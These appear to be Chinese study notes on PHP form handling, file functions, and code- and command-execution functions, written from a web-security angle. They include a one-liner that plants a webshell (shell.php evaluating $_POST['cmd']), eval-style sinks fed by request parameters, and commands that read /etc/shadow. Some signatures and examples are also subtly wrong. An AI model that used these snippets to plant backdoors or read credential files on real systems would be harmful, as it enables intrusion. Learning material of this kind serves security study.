php表单+文件+代码、命令执行
表单处理
三种接收表单数据的方式
$_GET
、$_POST
、$_REQUEST
- 特性:
- 超全局变量
- 都是数组
1
21. $_GET
此方式接收表单的method='get'方式传递的值1
22. $_POST
此方式接收表单的method='post'方式传递的值1
23. $_REQUEST
此方式接收表单get/post方式传递的值- 特性:
超全局变量$_SERVER:用于收集客户端请求信息
1
2
3
4
5
6
7$_SERVER['SERVER_ADDR'] 返回当前运行脚本所在的服务器的IP地址
$_SERVER['REMOTE_ADDR'] 返回浏览当前页面的用户的IP地址
$_SERVER['SERVER_NAME'] 服务器主机名
$_SERVER['REMOTE_HOST'] 用户的主机名
$_SERVER['REMOTE_PORT'] 用户连接到服务器的端口号
$_SERVER['HTTP_HOST'] 返回来自当前请求的Host头
$_SERVER['HTTP_REFERER'] 来源IP地址(从哪个IP地址跳转过来的)
文件操作
fopen()
:打开文件1
fopen(文件名,打开文件的方式);
- 打开文件常用的方式:
r
:只读方式打开,指针位置在文件开头r+
:读写方式打开,指针位置在文件开头w
:写入方式打开,清空文件内容,如果文件不存在则创建w+
:读写方式打开,清空文件内容,如果文件不存在则创建a
:追加,打开并向文件末尾进行写操作,如果文件不存在则创建a+
:可读并追加。通过向文件末尾写内容,来保持文件内容x
:只写,创建新文件。如果文件已存在,则返回FALSE和一个错误x+
:读写,创建新文件。如果文件已存在,则返回FALSE和一个错误
- 打开文件常用的方式:
fgets()
:逐行读取文件,每次只读取一行1
fgets(文件名);
fread()
:按长度读取文件的内容1
fread(文件名,长度); 换行也算一个长度
fwrite()
:写入文件1
fwrite(文件名,内容);
fputs
:fwrite()
的别名fclose()
:关闭一个打开的文件1
fclose(文件名);
feof()
:检测指针是否已到达文件末尾- 可以结合while循环来读取文件中所有的内容
1
2
3
4
5
6$file = fopen('a.txt','r');
while(!feof($file)) //如果达到末尾,会返回TRUE
{
echo fgets($file);
}
fclose($file);unlink()
:删除文件opendir()
:打开文件夹1
$file = opendir(目录);
readdir()
:读取文件夹(从目录句柄中读取条目)1
readdir($file);
closedir()
:关闭文件夹1
closedir($file);
file_exists()
:检查文件或目录是否存在copy()
:复制文件1
copy(源文件名,复制后的文件名); 可以移动的同时重命名文件
rename()
:重命名文件或目录1
rename(源文件名,新文件名);
file_get_contents()
:把整个文件读入一个字符串中1
file_get_contents(文件[,include_path,context,start,max_length])
file_put_contents
:把一个字符串写入文件中1
file_put_contents(string $filename,$data)
用文件操作写一句话:
1 | <?php fputs(fopen('shell.php','w'),'<?php eval($_POST['cmd']);?>');?> |
代码执行
eval()
1
2
3函数里可以使用单引号或者双引号
使用单引号:变量不转义
使用双引号:变量被转义assert()
preg_replace()
:正则里面使用/e
模式1
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
create_function()
:创建函数1
$func = create_function('',$_REQUEST['cmd']); $func();
$_GET['a']($_GET['b'])
:动态创建函数1
2要求:PHP版本5.2以下才可以使用
在地址栏中使用:a=assert&b=phpinfo() 即可打印PHPinfo
命令执行
exec():使用它必须在第二个参数指定一个变量来接收执行的命令
1
2exec("cat /etc/shadow",$output);
echo "<pre>$output</pre>";system():命令会直接执行,无需变量接收
1
system("phpinfo()");
popen():此函数是打开一个进程,可读取此进程的结果
1
2
3$file = popen("cat /etc/shadow",'r');
echo fread($file,5000);
pclose($file);shell_exec():此函数需要一个变量在外接收它的结果并输出
1
2$output = shell_exec('ls -al');
echo "<pre>$output</pre>";